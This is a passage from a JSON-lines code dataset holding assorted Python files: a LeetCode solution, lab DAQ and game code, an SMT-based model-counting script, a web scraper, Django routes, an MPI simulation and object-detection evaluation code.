2\nExplanation:\nOn the first day: bulbs[0] = 1, first bulb is turned on: [1,0,0]\nOn the second day: bulbs[1] = 3, third bulb is turned on: [1,0,1]\nOn the third day: bulbs[2] = 2, second bulb is turned on: [1,1,1]\nWe return 2 because on the second day, there were two on bulbs with one off bulb between them.\nExample 2:\n\nInput:\nbulbs: [1,2,3]\nK: 1\nOutput: -1\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def kEmptySlots(self, bulbs: List[int], K: int) -> int:\n return self.pulled_implementation(bulbs, K)\n\n def first_implementation(self, bulbs: List[int], K: int) -> int:\n \"\"\"\n Create an array that\n \"\"\"\n pass\n\n def pulled_implementation(self, flowers: List[int], k: int) -> int:\n \"\"\"\n As in Approach #2, we have days[x] = i for the time that the flower at position x blooms.\n We wanted to find candidate intervals [left, right] where days[left], days[right] are the two smallest\n values in [days[left], days[left+1], ..., days[right]], and right - left = k + 1.\n\n Notice that these candidate intervals cannot intersect: for example, if the candidate intervals\n are [left1, right1] and [left2, right2] with left1 < left2 < right1 < right2, then for the first interval to\n be a candidate, days[left2] > days[right1]; and for the second interval to be a candidate,\n days[right1] > days[left2], a contradiction.\n\n That means whenever whether some interval can be a candidate and it fails first at i, indices j < i can't be\n the start of a candidate interval. This motivates a sliding window approach.\n\n Algorithm\n As in Approach #2, we construct days.\n Then, for each interval [left, right] (starting with the first available one),\n we'll check whether it is a candidate: whether days[i] > days[left]\n and days[i] > days[right] for left < i < right.\n If we fail, then we've found some new minimum days[i] and we should check the new interval [i, i+k+1].\n If we succeed, then it's a candidate answer, and we'll check the new interval [right, right+k+1].\n \"\"\"\n days = [0] * len(flowers)\n for day, position in enumerate(flowers, 1):\n days[position - 1] = day\n\n ans = float('inf')\n left, right = 0, k + 1\n while right < len(days):\n for i in range(left + 1, right):\n if days[i] < days[left] or days[i] < days[right]:\n left, right = i, i + k + 1\n break\n else:\n ans = min(ans, max(days[left], days[right]))\n left, right = right, right + k + 1\n\n return ans if ans < float('inf') else -1\n","sub_path":"python/coding_challenges/leet_code/k_empty_slots.py","file_name":"k_empty_slots.py","file_ext":"py","file_size_in_byte":3511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"606898566","text":"import json\nimport re\nimport sys\nimport os,glob\n\nfout = open('result.txt','w')\n\njfile = open(\"tosort.json\",'r+')\n\nfor line in jfile.readlines():\n\tdata = json.loads(line)\n\tkeylist = data.keys()\n\n\tfor i in xrange(0,len(keylist)):\n\t\thost = keylist[i]\n\t\tfout.write(host)\n\t\tfout.write('\\n')\n\n\t\tkeylist1 = data[host].keys()\n\t\turl = data[host].get(keylist1[2])\n\n\t\tfout.write(str(url))\n\t\tfout.write('\\n')\n\n\nfout.close()","sub_path":"urlsort.py","file_name":"urlsort.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"301605232","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 8 14:43:15 2018\n\nThis is a class module for the NI USB DAQ with eight 3 wire RTD's\n\n@author: jmajor\n\"\"\"\n\nimport nidaqmx\nfrom nidaqmx.constants import ExcitationSource, TemperatureUnits, ResistanceConfiguration\n\n\nclass DAQ(object):\n\n '''Sets up the DAQ task and assigns 8 RTD channels to it'''\n def __init__(self):\n self.name = 'NI USB RTD DAQ'\n\n self.task = nidaqmx.Task()\n\n self.task2 = nidaqmx.Task()\n\n self.all_channels = [0,1,2,3,4,5,6,7] #RTD channels.\n\n self.specific_channels = []\n\n for i in self.all_channels:\n\n self.task.ai_channels.add_ai_rtd_chan('cDAQ1Mod1/ai{0}'.format(i), ###open the program NIMAX to see channel names###\n current_excit_source=ExcitationSource.INTERNAL,\n resistance_config = ResistanceConfiguration.THREE_WIRE,\n units=TemperatureUnits.DEG_C,\n current_excit_val= .001)\n\n\n\n\n def read_all_channels(self):\n '''Reads all RTD channels assigned in __init__ and returns a list of the readout'''\n\n temperatures = self.task.read(1)\n\n flat = [item for sublist in temperatures for item in sublist] #takes the list of lists and flattens it\n flat = [round(num, 4) for num in flat] #rounds each float in the list\n return flat\n\n\n def set_specific_channels(self, channel_list):\n '''Sets the specific channels the user wants to read. Takes a list as an argument.'''\n\n channel_list = [i-1 for i in channel_list]\n try:\n for i in channel_list:\n self.task2.ai_channels.add_ai_rtd_chan('cDAQ1Mod1/ai{0}'.format(i), ###open the program NIMAX to see channel names###\n current_excit_source=ExcitationSource.INTERNAL,\n resistance_config = ResistanceConfiguration.THREE_WIRE,\n units=TemperatureUnits.DEG_C,\n current_excit_val= .001)\n\n except: #used in case the set channels changes\n self.task2.close()\n self.task2 = nidaqmx.Task()\n for i in channel_list:\n self.task2.ai_channels.add_ai_rtd_chan('cDAQ1Mod1/ai{0}'.format(i), ###open the program NIMAX to see channel names###\n current_excit_source=ExcitationSource.INTERNAL,\n resistance_config = ResistanceConfiguration.THREE_WIRE,\n units=TemperatureUnits.DEG_C,\n current_excit_val= .001)\n\n\n def read_specific_channels(self):\n '''Reads user defined channels'''\n\n temperatures = self.task2.read(1)\n\n if len(temperatures) ==1:\n return temperatures\n\n flat = [item for sublist in temperatures for item in sublist] #takes the list of lists and flattens it\n flat = [round(num, 4) for num in flat] #rounds each float in the list\n return flat\n\n\n\n\n\n\n def close_NI_RTD_DAQ(self):\n '''Closes the task'''\n\n self.task.close()\n\n self.task2.close()\n print('DAQ com closed')\n\n\n\n\nif __name__ == '__main__':\n daq = DAQ()\n daq.set_specific_channels([2,5,7])\n print(daq.read_specific_channels())\n daq.close_NI_RTD_DAQ()\n\n","sub_path":"New calibration programs/NI_RTD_DAQ_CLASS.py","file_name":"NI_RTD_DAQ_CLASS.py","file_ext":"py","file_size_in_byte":3466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"312032443","text":"'''Code to create Windows'''\n__author__ = 'Austin Scott'\n\nimport pygame\n\nfrom gui.widget import Widget\n\nclass Window(Widget):\n def __init__(self, **attributes):\n self.native_attributes = []\n\n super().__init__(**attributes)\n\n self.grabbable = True\n\n def draw_func(self, surface):\n pxarray = pygame.PixelArray(surface)\n pxarray[0:-1, 0:-1] = (255, 255, 255, 255)\n pxarray[1:-2, 1:-2] = (255, 255, 255, 128)\n pxarray[4:-5, 4:-5] = (255, 255, 255, 255)\n pxarray[5:-6, 5:-6] = (255, 255, 255, 64)\n","sub_path":"engine/gui/window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"154027812","text":"#!/home/rakeshmistry/bin/Python-3.4.3/bin/python3\n\n# @author: rakesh mistry - 'inspire'\n# @date: 2015-06-14\n\nimport sys\nimport re\nimport os\nimport math\nimport random\nimport functools\nimport collections\nimport numpy\n\n################################################################################\n# Functions to generate SMT2 expressions\ndef bvsmodExpr(var1, var2):\n return \"(bvurem \" + str(var1) + \" \" + str(var2) + \")\"\n\ndef extractExpr(m, n, var):\n return \"((_ extract \" + str(m) + \" \" + str(n) + \") \" + str(var) + \")\"\n\ndef xorExpr(var1, var2):\n return \"(xor \" + str(var1) + \" \" + str(var2) + \")\"\n\ndef zeroExtendExpr(bitWidth, varName):\n return \"((_ zero_extend \" + str(bitWidth) + \") \" + varName + \")\"\n\ndef bvmulExpr(var1, var2):\n return \"(bvmul \" + str(var1) + \" \" + str(var2) + \")\"\n\ndef bvaddExpr(var1, var2):\n return \"(bvadd \" + str(var1) + \" \" + str(var2) + \")\"\n\ndef eqExpr(var1, var2):\n return \"(= \" + str(var1) + \" \" + str(var2) + \")\"\n\ndef constExpr(num, bitWidth):\n return \"(_ bv\" + str(num) + \" \" + str(bitWidth) + \")\"\n\ndef andExpr(var1, var2):\n return \"(and \" + str(var1) + \" \" + str(var2) + \")\"\n\n################################################################################\n\n\n# Function: populatePrimesMap\n# @param: primesMap - file containing primes.\n# Each line is of the form -- k prime\n# where for every number 'k' the value of 'prime' is smallest prime > 2^k\n#\n# returns map of prime numbers for 2^k (1 <= k <= 100)\ndef populatePrimesMap(primesFile):\n primesMap = {}\n for line in primesFile:\n strList = line.split()\n k = int(strList[0])\n primesMap[k] = int(strList[1])\n\n return primesMap\n\n\n# Function: populatePrimesMap\n# @param: primesMap - file containing primes.\n# Each line is of the form -- k prime\n# where for every number 'k' the value of 'prime' is smallest prime > 2^k\n#\n# returns map of prime numbers for 2^k (1 <= k <= 100)\ndef populateEpsilonMap(probFile):\n epsilonMap = {}\n for line in probFile:\n strList = line.rstrip().split(\":\")\n k = int(strList[0])\n epsilonMap[k] = float(strList[1])\n\n return epsilonMap\n\n\n# Function: computeNewBitwidth\ndef computeNewBitwidth(k, slices, varMap):\n totalBitwidth = 0\n for key in varMap.keys():\n totalBitwidth += math.ceil(float(varMap[key]) / k)\n \n newBitwidth = k + int(math.ceil(math.log(slices * totalBitwidth, 2))) + 1 # +1 since 's' can be upto 'prime-1'\n\n return newBitwidth\n\n\n# Function: generateEquationConstraint\n# @param: varmap - a map of variables with key as variable name and value being\n# its width\n# @param: maxBitwidth - maximum bitwidth\n# @param: slices - number of slices for each variable to create\n#\n# Generates an equation of the form:\n# a1x1 + a2x2 + ... = s*prime + r\ndef generateEquationConstraint(varMap, primesMap, maxBitwidth, slices):\n\n k = int(math.ceil(float(maxBitwidth) / slices))\n\n twoPowerK = 2 ** k\n prime = primesMap[k]\n\n newBitwidth = computeNewBitwidth(k, slices, varMap)\n\n # primeCoeff = \"temp_prime_coeff_\" + str(generateEquationConstraint.counter)\n # primeCoeffDecl = \"(declare-fun \" + primeCoeff + \" () (_ BitVec \" + str(newBitwidth - (k + 1)) + \"))\\n\"\n\n bvmulList = []\n for key in varMap.keys():\n originalKey = key\n if varMap[key] != maxBitwidth:\n key = zeroExtendExpr(maxBitwidth - varMap[key], key)\n\n assert maxBitwidth >= slices\n\n # find slice widths of variable\n keyDivWidth = int(maxBitwidth / slices)\n bitRemaining = maxBitwidth % slices\n \n # list containing width of each variable slice\n keyDivWidthList = [keyDivWidth] * slices\n \n for i in range(bitRemaining):\n keyDivWidthList[i] += 1\n\n coeff = []\n for i in range(slices):\n coeff.append(random.randint(0, twoPowerK - 1))\n\n keyDivs = []\n msbPos = maxBitwidth - 1\n remSlices = 0\n for i in range(slices):\n lsbPos = msbPos - keyDivWidthList[i] + 1\n if lsbPos < varMap[originalKey]:\n keyDivs.append(extractExpr(msbPos, lsbPos, key))\n remSlices += 1\n msbPos = msbPos - keyDivWidthList[i]\n\n zxtndKeyDivs = []\n for i in range(remSlices):\n zxtndKeyDivs.append(zeroExtendExpr(newBitwidth - keyDivWidthList[i], keyDivs[i]))\n\n bvmulStrs = []\n for i in range(remSlices):\n bvmulList.append(bvmulExpr(constExpr(coeff[i], newBitwidth), zxtndKeyDivs[i]))\n\n\n lhsStr = functools.reduce(lambda x, y: bvaddExpr(x, y), bvmulList)\n\n # s = zeroExtendExpr(k + 1, primeCoeff)\n r = random.randint(0, prime - 1)\n\n # rhsStr = bvaddExpr(bvmulExpr(constExpr(prime, newBitwidth), s), constExpr(r, newBitwidth))\n rhsStr = bvsmodExpr(constExpr(r, newBitwidth), constExpr(prime, newBitwidth))\n constraint = eqExpr(lhsStr, rhsStr)\n return constraint, prime\n\n\n# Function: parseSmt2File\n# @param: smt2File - input SMT2 file\n# @return: varmap - a map containing as key the names of the variables and value as their bitwidth\n# @return: smtFilePrefix - string containing the initial part of smt2File (until start of 'assert' in 'smt2File')\n#\n# Creates variable map and also copies the initial part of SMT2 file (until start of 'assert' in 'smt2File')\n# This would later be appended with our constraints to create the new SMT2 file\ndef parseSmt2FileVariables(smt2File):\n # create regex to specific lines\n compiledVarPattern = re.compile(\"[ \\t]*\\(declare-fun\")\n compiledAssertPattern = re.compile(\"assert\")\n\n # read variable info in map\n varMap = {}\n\n scriptName = os.path.basename(__file__) \n smtFilePrefix = \"; [\" + scriptName + \"] Autogenerated from source file: \" + smt2File.name + \"\\n\"\n for line in smt2File:\n smtFilePrefix += line\n if compiledVarPattern.search(line):\n wordList = line.split()\n varName = wordList[1]\n\n varWidthStr = wordList[-1].rstrip(\")\")\n if varWidthStr.isdigit():\n varWidth = int(varWidthStr)\n varMap[varName] = varWidth\n elif compiledAssertPattern.search(line):\n break\n\n return varMap, smtFilePrefix\n\n\n# Function: parseSmt2File\n# @param: smt2File - input SMT2 file\n# @param: newConstraints - string which is a SMT2 constraint\n# @return: smtFileSuffix - string containing our constraints followed by rest of input file\n#\n# returns a string after our adding our constraints to the rest of the input file\ndef parseSmt2FileSuffix(smt2File, newConstraints):\n compiledCheckSatPattern = re.compile(\"check-sat\")\n\n smtFileSuffix = \"\"\n for line in smt2File:\n if compiledCheckSatPattern.search(line):\n smtFileSuffix += \"(assert\"\n smtFileSuffix += \" \" + newConstraints + \")\\n\"\n smtFileSuffix += line\n break\n smtFileSuffix += line\n\n # write everything after '(check-sat)'\n for line in smt2File:\n smtFileSuffix += line\n\n return smtFileSuffix\n\n# Function: generateSMT2FileFromConstraints\ndef generateSMT2FileFromConstraints(smt2prefix, constraintList, smt2suffix, tempFileName):\n outputSMT2File = open(tempFileName, \"w\")\n outputSMT2File.write(smt2prefix)\n\n outputSMT2File.write(\"(assert\")\n\n strConstraints = functools.reduce(lambda x, y: andExpr(x, y), constraintList)\n outputSMT2File.write(strConstraints)\n\n outputSMT2File.write(\")\\n\")\n outputSMT2File.write(smt2suffix)\n\n outputSMT2File.close()\n\n\n# Function: generateSMT1FromSMT2File\ndef generateSMT1FromSMT2File(smt2FileName, smt1FileName):\n cmd = \"boolector -ds1 -o \" + smt1FileName + \" \" + smt2FileName\n return os.system(cmd)\n\n\n# Funtion: countSolutions\ndef countSolutions(smtResultsFileName):\n smtResultsFile = open(smtResultsFileName, \"r\")\n count = 0\n hasTimedOut = False\n\n for line in smtResultsFile:\n if line == \"sat\\n\":\n count += 1\n elif \"[btormain] ALARM TRIGGERED: time limit\" in line:\n hasTimedOut = True\n\n return count, hasTimedOut\n\n\ndef getCommonPrimesAndMedian(runResults, logFile):\n commonPrimes = runResults[0][1]\n for i in range(1, len(runResults)):\n commonPrimes = commonPrimes & runResults[i][1]\n\n logFile.write(\"commomPrimes: \" + str(list(commonPrimes.elements())) + \"\\n\")\n\n valList = []\n for i in range(len(runResults)):\n # subResult = runResults[i][1].subtract(commonPrimes)\n subResult = runResults[i][1] - commonPrimes\n if subResult == None:\n valList.append(runResults[i][0])\n else:\n prod = 1\n for key in subResult:\n prod = prod * (key ** subResult[key])\n valList.append(prod * runResults[i][0])\n\n logFile.write(\"valList: \" + str(valList) + \"\\n\")\n return (list(commonPrimes.elements()), numpy.median(valList))\n \n\n# Function: main\ndef main(argv):\n # check for correct number of arguments\n scriptName = os.path.basename(__file__)\n if len(argv) < 6:\n sys.stderr.write(\"Error: Invalid arguments.\\n\")\n sys.stderr.write(\" [Usage]: \" + scriptName + \" \\n\")\n sys.exit(1)\n\n # open files\n inputSMTFile = open(argv[1], \"r\")\n primesFile = open(argv[2], \"r\")\n numIterations = int(argv[3])\n logFile = open(argv[4], \"w\", 1)\n finalOutputFile = open(argv[5], \"w\", 1)\n # probMapFile = open(argv[3], \"r\")\n\n primesMap = populatePrimesMap(primesFile)\n # epsilonMap = populateEpsilonMap(probMapFile)\n\n (varMap, smt2prefix) = parseSmt2FileVariables(inputSMTFile)\n smt2suffix = parseSmt2FileSuffix(inputSMTFile, \"true\")\n\n maxBitwidth = max(varMap.values())\n # print(\"maxBitwidth: \" + str(maxBitwidth))\n\n # find pivot solutions\n tempDir = os.getcwd() + \"/temp_amc\"\n smtSolver = os.path.dirname(os.path.realpath(__file__)) + \"/../boolector-mc/boolector/boolector\"\n\n if not os.path.exists(tempDir):\n os.makedirs(tempDir)\n\n timeout = int(2400 * maxBitwidth / 2.0)\n minPivot = 1\n\n epsilon = 0.8 # epsilonMap[maxBitwidth]\n maxPivot = int(2*math.ceil(4.94*(1+1/epsilon)*(1+1/epsilon)))\n # print(\"maxPivot: \" + str(maxPivot))\n\n scriptStartTime = os.times()\n logFile.write(\"Script start time: \" + str(scriptStartTime) + \"\\n\")\n\n logFile.write(\"Epsilon: \" + str(epsilon) + \"\\n\")\n logFile.write(\"maxPivot: \" + str(maxPivot) + \"\\n\")\n\n\n iterationRunResults = []\n timedOutRuns = set()\n for i in range(numIterations):\n tempSMT2FileName = tempDir + \"/temp_\" + str(i) + \".smt2\"\n tempOutputFile = tempDir + \"/solverResults_\" + str(i) + \".txt\"\n tempErrorFile = tempDir + \"/solverErrors_\" + str(i) + \".txt\"\n tempSMT1FileName = tempDir + \"/temp_\" + str(i) + \".smt1\"\n\n slices = 2\n\n logFile.write(\"\\n\\n################################################################################\\n\")\n logFile.write(\"Iteration: \" + str(i) + \"\\n\")\n \n constraintList = []\n primeList = []\n\n (constraint, prime) = generateEquationConstraint(varMap, primesMap, maxBitwidth, slices)\n constraintList.append(constraint)\n\n primeList.append(prime)\n\n innerLoopRun = 0\n while True:\n logFile.write(\"\\n----\\n\")\n logFile.write(\"innerLoopRun: \" + str(innerLoopRun) + \"\\n\")\n innerLoopRun += 1\n\n generateSMT2FileFromConstraints(smt2prefix, constraintList, smt2suffix, tempSMT2FileName)\n conversionResult = generateSMT1FromSMT2File(tempSMT2FileName, tempSMT1FileName)\n if conversionResult != 0:\n sys.stderr.write(\"Error while converting from SMT2 File to SMT1 file. Aborting ...\\n\")\n logFile.write(\"Error while converting from SMT2 File to SMT1 file. Aborting ...\\n\")\n logFile.close()\n exit(1)\n\n cmd = smtSolver + \" -i -m -t \" + str(timeout) + \" --maxsolutions=\" + str(maxPivot) + \" \" + tempSMT1FileName + \" >\" + tempOutputFile + \" 2>>\" + tempErrorFile;\n logFile.write(\"cmd: \" + cmd + \"\\n\")\n \n startTime = os.times()\n os.system(cmd)\n endTime = os.times()\n\n logFile.write(\"startTime: \" + str(startTime) + \"\\n\")\n logFile.write(\"endTime: \" + str(endTime) + \"\\n\")\n logFile.write(\"cmd time: \" + str(endTime.children_user + endTime.children_system - startTime.children_user - startTime.children_system) + \"\\n\")\n\n hasTimedOut = False\n (numSolutions, hasTimedOut) = countSolutions(tempOutputFile)\n\n logFile.write(\"numConstraints: \" + str(len(constraintList)) + \", slices: \" + str(slices) + \", numSolutions: \" + str(numSolutions) + \", hasTimedOut: \" + str(hasTimedOut) + \"\\n\")\n \n if numSolutions >= maxPivot:\n (constraint, prime) = generateEquationConstraint(varMap, primesMap, maxBitwidth, slices)\n constraintList.append(constraint)\n primeList.append(prime)\n\n elif numSolutions >= minPivot and not hasTimedOut:\n break;\n\n elif numSolutions >= 0:\n constraintList.pop()\n primeList.pop()\n\n if (slices >= maxBitwidth):\n if hasTimedOut:\n timedOutRuns.add(i)\n # logFile.write(\"hasTimedOut after adding last constraint: \" + str(hasTimedOut) + \"\\n\")\n break\n\n slices = (slices * 2) if (slices * 2) < maxBitwidth else maxBitwidth;\n\n (constraint, prime) = generateEquationConstraint(varMap, primesMap, maxBitwidth, slices)\n constraintList.append(constraint)\n primeList.append(prime)\n\n logFile.flush()\n # raw_input(\"Press Enter to continue...\")\n\n iterationRunResults.append((numSolutions, collections.Counter(primeList)))\n\n scriptEndTime = os.times()\n logFile.write(\"Script end time: \" + str(scriptEndTime) + \"\\n\")\n logFile.write(\"Total script time: \" + str(scriptEndTime.children_user + scriptEndTime.children_system - scriptStartTime.children_user - scriptStartTime.children_system) + \"\\n\")\n\n logFile.write(\"iterationRunResults: \" + str(iterationRunResults) + \"\\n\")\n\n (commonPrimes, med) = getCommonPrimesAndMedian(iterationRunResults, logFile)\n logFile.write(\"commonPrimes: \" + str(commonPrimes) + \", median: \" + str(med) + \", \")\n\n finalOutputFile.write(str(maxBitwidth) + \";\")\n for primes in commonPrimes:\n finalOutputFile.write(str(primes) + \",\")\n finalOutputFile.write(\";\" + str(med) + \";\")\n\n finalOutputFile.write(str(scriptEndTime.children_user + scriptEndTime.children_system - scriptStartTime.children_user - scriptStartTime.children_system) + \";\")\n finalOutputFile.write(str(len(timedOutRuns)) + \";\")\n\n logFile.write(\"Timedout in runs: \" + str(timedOutRuns) + \";\")\n finalOutputFile.write(\"Timedout in runs: \" + str(timedOutRuns))\n\n finalOutputFile.close()\n logFile.close()\n\n\nif __name__ == \"__main__\":\n main(sys.argv)\n","sub_path":"scripts/previousScripts-2015-12-25/approxMC_mod.py","file_name":"approxMC_mod.py","file_ext":"py","file_size_in_byte":15163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"126669856","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nimport time\n\nfrom selenium.webdriver.common.keys import Keys\n\nbrowser = webdriver.Chrome()\ni=2009\nwhile i <=2020:\n try:\n#\n y=str(i)\n stt=time.time()\n print(\"Year \"+y+' start.....')\n url = 'https://ieeexplore.ieee.org/search/searchresult.jsp?highlight=true&returnType=SEARCH&sortType=most-popular&returnFacets=ALL&ranges=' + y + '_' + y + '_Year'\n browser.get(url)\n time.sleep(15)\n js = \"window.open('http://www.sogou.com')\"\n browser.get('https://ieeexplore.ieee.org/search/searchExport.jsp')\n browser.execute_script(js)\n edt=time.time()\n print('cost: '+str(stt-edt))\n except Exception as e:\n print('error')\n i=i+1\n","sub_path":"src/main/resources/spider/spiderp.py","file_name":"spiderp.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"430107406","text":"from django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n path('blogpost/', views.BlogPostCreateView.as_view()),\n path('blogpost/reservation/', views.BlogPostReservationView.as_view()),\n path('blogpost//', views.BlogPostView.as_view()),\n path('blogpost//attachment-list/', views.BlogPostAttachmentListView.as_view()),\n path('blogpost//attachment-upload/', views.BlogPostAttachmentUploadView.as_view()),\n path('attachments//', views.BlogPostAttachmentDeleteView.as_view()),\n path('blogpost//header/', views.BlogPostHeaderView.as_view()),\n path('blogposts/', views.BlogPostListView.as_view()),\n path('categories/', views.BlogPostCategoryListView.as_view()),\n path('tags/', views.BlogPostTagListView.as_view()),\n path('/comment/', views.BlogPostCommentCreateView.as_view()),\n path('comment//', views.BlogPostCommentUpdateView.as_view()),\n path('category/', views.BlogPostCategoryCreateView.as_view()),\n path('category//', views.BlogPostCategoryDeleteView.as_view()),\n path('category//header/', views.BlogPostCategoryHeaderUploadView.as_view())\n]\n","sub_path":"src/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"526909838","text":"from mpi4py import MPI\nimport sys\nimport numpy as np\n\nif __name__ == '__main__':\n comm = MPI.COMM_WORLD\n n_procs = comm.Get_size()\n rank = comm.Get_rank()\n T = int(sys.argv[1])\n N = 512\n ETA = 0.0002 # DAMPING\n RHO = 0.5 # PITCH\n G = 0.75 # BOUNDARY GAIN\n chunk_size = N // n_procs\n\n #The processor that contains u(N/2,N/2) will keep track of the value each update\n\n u = np.zeros(shape=(chunk_size+2, N))\n u1 = np.zeros(shape=(chunk_size+2, N))\n u2 = np.zeros(shape=(chunk_size+2, N))\n\n if rank == n_procs//2:\n if n_procs == 1:\n u1[N//2, N//2] = 1.\n else:\n u1[1, N//2] = 1.\n centers = []\n\n for _ in range(T):\n # SEND & RECIEVE\n if rank != 0 and n_procs > 1:\n comm.send( u[1], dest=rank-1, tag=0)\n comm.send(u1[1], dest=rank-1, tag=1)\n comm.send(u2[1], dest=rank-1, tag=2)\n\n u[0] = comm.recv(source=rank-1, tag=0)\n u1[0] = comm.recv(source=rank-1, tag=1)\n u2[0] = comm.recv(source=rank-1, tag=2)\n\n if rank != n_procs - 1 and n_procs > 1:\n u[chunk_size+1] = comm.recv(source=rank+1, tag=0)\n u1[chunk_size+1] = comm.recv(source=rank+1, tag=1)\n u2[chunk_size+1] = comm.recv(source=rank+1, tag=2)\n\n comm.send( u[chunk_size], dest=rank+1, tag=0)\n comm.send(u1[chunk_size], dest=rank+1, tag=1)\n comm.send(u2[chunk_size], dest=rank+1, tag=2)\n\n start = 2 if rank == 0 else 1\n end = chunk_size if rank == n_procs-1 else chunk_size+1\n\n # INTERIOR\n for i in range(start, end):\n for j in range(1, N-1):\n top, bottom, left, right, prev =\\\n (u1[i-1,j], u1[i+1,j],u1[i,j-1], u1[i,j+1], u1[i,j])\n\n blue = RHO * (top+bottom+left+right-(4*prev))\n red = 2 * prev\n green = (1-ETA) * u2[i, j]\n\n u[i, j] = (blue + red - green) / (1+ETA)\n\n # SIDES MINUS TOP & BOTTOM\n for i in range(start, end):\n u[i, 0] = G * u[i, 1]\n u[i, N-1] = G * u[i, N-2]\n\n if rank == 0:\n # TOP SIDE\n for j in range(1, N-1): u[1, j] = G * u[2, j]\n\n # TOP CORNERS\n u[1, 0] = G * u[2, 0]\n u[1, N-1] = G * u[1, N-2]\n\n if rank == n_procs-1:\n # BOTTOM SIDE\n for i in range(1, N-1): u[chunk_size, j] = G * u[chunk_size-1, j]\n\n # BOTTOM CORNERS\n u[chunk_size, 0] = G * u[chunk_size-1, 0]\n u[chunk_size, N-1] = G * u[chunk_size, N-2]\n\n if rank == n_procs//2:\n if n_procs == 1:\n centers.append('{:.6f}'.format(u[N//2, N//2]))\n else:\n centers.append('{:.6f}'.format(u[1, N//2]))\n\n u2 = np.copy(u1)\n u1 = np.copy(u)\n\n if rank == n_procs//2:\n print(', '.join(centers))\n","sub_path":"grid_512_512.py","file_name":"grid_512_512.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"500018479","text":"from turtle import Screen\r\nfrom player import Player\r\nfrom cars import Car\r\nfrom level import Level\r\nimport time\r\n\r\nscreen = Screen()\r\nscreen.setup(width=600, height=500)\r\nscreen.title(\"Turtle Crossing\")\r\nscreen.bgcolor(\"gray\")\r\nscreen.tracer(0)\r\n\r\nplayer = Player()\r\ncar = Car()\r\nlevel = Level()\r\n\r\nscreen.listen()\r\nscreen.onkey(fun=player.up, key=\"w\")\r\n\r\ngame = True\r\n\r\nwhile game:\r\n screen.update()\r\n time.sleep(1)\r\n car.create_cars()\r\n\r\n # Detect Level Change\r\n if player.ycor() > 280:\r\n level.update_level()\r\n player.reset_position()\r\n car.next_level()\r\n\r\n # Detect Car Collision with Player\r\n for a in car.all_cars:\r\n if a.distance(player) < 15:\r\n level.game_over()\r\n game = False\r\n\r\nscreen.exitonclick()\r\n","sub_path":"22.Turtle_Crossing/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"229392379","text":"import numpy as np\nfrom collections import defaultdict\nimport time\nfrom test import test_nms\nfrom model.utils.bbox_transform import bbox_iou\nfrom config.config import cfg\n\n\ndef voc_eval_pre_rec(dataset, model, num_classes):\n \"\"\"\n PASCAL VOC evaluation\n Calculate precision and recall in the order of dataset images.\n Store the cumulative results by classes.\n \"\"\"\n # Each parameter will be constructed as a list containing N numpy arrays, \n # where N is the number of images in dataset.\n pred_bboxes, pred_probs, pred_labels = [], [], []\n gt_bboxes, gt_labels, difficults= [], [], []\n \n # warmup\n # for i, img_input in enumerate(dataset):\n # tic = time.perf_counter()\n # model(img_input)\n # print(f'{i}, {(time.perf_counter() - tic)*1000:.2f}ms', end='\\n')\n \n # internal timer\n __t = 0. # total time\n __t1 = 0. # model forward time\n __t2 = 0. # nms time\n \n # run inferences on dataset and store the results\n for i, img_input in enumerate(dataset):\n \n tic = time.perf_counter()\n labels, bboxes, cls_prob = model(img_input)\n __t1 = time.perf_counter() - tic\n\n tic = time.perf_counter()\n bboxes, probs, labels = test_nms(cls_prob, bboxes, score_thresh=cfg.eval_score_thresh)\n __t2 = time.perf_counter() - tic\n \n print(f'Evaluating test sample {i} ... FP: {__t1*1000:.02f} ms, NMS: {__t2*1000:.02f} ms', end='\\r')\n __t += (__t1 + __t2)\n \n pred_bboxes.append(bboxes)\n pred_probs.append(probs)\n pred_labels.append((labels).astype(int))\n gt_bboxes.append(img_input['gt_boxes'])\n gt_labels.append(img_input['gt_classes'])\n difficults.append(img_input['difficult']) \n print(f'{__t:.02f}s after evaluating {dataset.data_size} test samples, {dataset.data_size / __t:.02f} fps')\n \n assert len(pred_bboxes) == \\\n len(pred_probs) == \\\n len(pred_labels) == \\\n len(gt_bboxes) == \\\n len(gt_labels) == \\\n len(difficults), \"The length of inputes should be the same.\"\n\n # The number of \"not difficult\" samples in each class = TP + FN\n total_gt = defaultdict(int)\n # The prediction's probs for each class\n probs = defaultdict(list)\n # record of TP(1) and FP(0) for each class\n record = defaultdict(list)\n \n for pred_bbox, pred_label, pred_prob, gt_bbox, gt_label, difficult in zip(pred_bboxes, \n pred_labels, \n pred_probs, \n gt_bboxes, \n gt_labels, \n difficults):\n for cls in np.unique(np.concatenate((pred_label, gt_label))):\n # pick out the bboxes belong to cls\n pred_cls_mask = pred_label == cls\n p_bbox = pred_bbox[pred_cls_mask]\n p_prob = pred_prob[pred_cls_mask]\n order = np.argsort(p_prob)[::-1]\n p_bbox = p_bbox[order]\n p_prob = p_prob[order]\n \n gt_cls_mask = gt_label == cls\n g_bbox = gt_bbox[gt_cls_mask]\n g_diff = difficult[gt_cls_mask]\n \n total_gt[cls] += np.sum(g_diff * -1 + 1)\n probs[cls].extend(p_prob)\n \n if len(p_bbox) == 0: continue\n if len(g_bbox) == 0:\n record[cls].extend([0] * 